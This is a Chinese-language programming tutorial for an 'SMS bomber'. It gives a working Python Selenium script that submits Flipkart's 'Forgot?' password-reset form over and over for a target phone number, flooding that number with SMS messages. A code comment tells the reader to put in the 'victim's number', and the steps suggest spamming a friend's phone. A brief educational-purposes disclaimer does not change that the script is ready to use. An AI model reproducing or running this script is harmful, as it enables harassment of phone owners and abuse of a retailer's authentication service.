📜  Python|使用Selenium的短信轰炸机

📅  最后修改于: 2022-05-13 01:54:19.089000             🧑  作者: Mango

Python|使用Selenium的短信轰炸机

在这里,我们将学习一个简单的短信轰炸机技巧(出于娱乐和教育目的)。 Selenium是一个免费工具,用于跨不同浏览器进行自动化测试。在本教程中,我们将学习以给定的频率和间隔自动发送数量的垃圾短信。
要求:
您需要安装chromedriver并设置路径。点击这里下载。
以下是步骤:

  • 首先使用此链接访问 Flipkart 网站。
  • 然后通过按 ctrl + shift + i 或进入浏览器设置并手动单击检查元素来单击检查元素。
  • 然后找到“输入数字”输入字段的班级名称和“忘记?”关联。我们稍后会使用它。

查找“输入数字”输入字段的类名查找“忘记?”的类名关联

  • 现在,通过为每个元素放置适当的类名来运行脚本。
  • 现在它会自动向您朋友的手机号码发送垃圾短信。

注意:本教程仅用于教育目的,请勿用于干扰任何人或任何不道德的方式。
下面是实现:

Python3
from selenium import webdriver
import time
 
# create instance of Chrome webdriver
browser = webdriver.Chrome()
 
# set the frequency of sms which is approx maximum to 10 per 24 days
frequency = 10
 
# target mobile number, change it to victim's number and
# also ensure that it's registered on flipkart
mobile_number ="1234567890"
 
for i in range(frequency):
    browser.get('https://www.flipkart.com/account/login?ret=/')
 
    # find the element where we have to
    # enter the number using the class name
    number = browser.find_element_by_xpath('//*[@id="container"]/div/div[3]/div/div[2]/div/form/div[1]/input')
 
    # automatically type the target number
    number.send_keys("1234567890")
     
    # find the element to send a forgot password
    # request using it's class name
    forgot = browser.find_element_by_link_text('Forgot?')
     
    # clicking on that element
    forgot.click()
     
    # set the interval to send each sms
    time.sleep(2)
     
# Close the browser
browser.quit()